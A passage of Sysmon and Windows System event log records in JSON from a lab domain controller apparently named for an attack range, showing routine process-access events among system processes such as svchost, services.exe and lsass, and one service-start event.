11:51:57.959","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2780,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.021\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1108\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-405D-5F2D-0000-00109FB10400}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\system32\\sppsvc.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+316d|C:\\Windows\\SYSTEM32\\ntdll.dll+7f70d|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+29c02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.021","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1108","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-405D-5F2D-0000-00109FB10400}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\system32\\sppsvc.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+316d|C:\\Windows\\SYSTEM32\\ntdll.dll+7f70d|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+29c02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2781,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.021\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-405D-5F2D-0000-00109FB10400}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\system32\\sppsvc.exe\r\nGrantedAccess: 0x103800\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.021","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-405D-5F2D-0000-00109FB10400}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\system32\\sppsvc.exe","GrantedAccess":"0x103800","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2782,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.084\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405D-5F2D-0000-00109FB10400}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\system32\\sppsvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.084","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405D-5F2D-0000-00109FB10400}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\system32\\sppsvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2783,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.084\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 2684\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-405D-5F2D-0000-00109FB10400}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\system32\\sppsvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.084","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"2684","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-405D-5F2D-0000-00109FB10400}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\system32\\sppsvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76833,"ProcessID":852,"ThreadID":2684,"Channel":"System","Message":"The sppsvc service entered the running state.","param1":"sppsvc","param2":"running","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2784,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.350\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.350","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2785,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.350\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.350","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2786,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.350\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.350","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2787,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.350\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.350","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 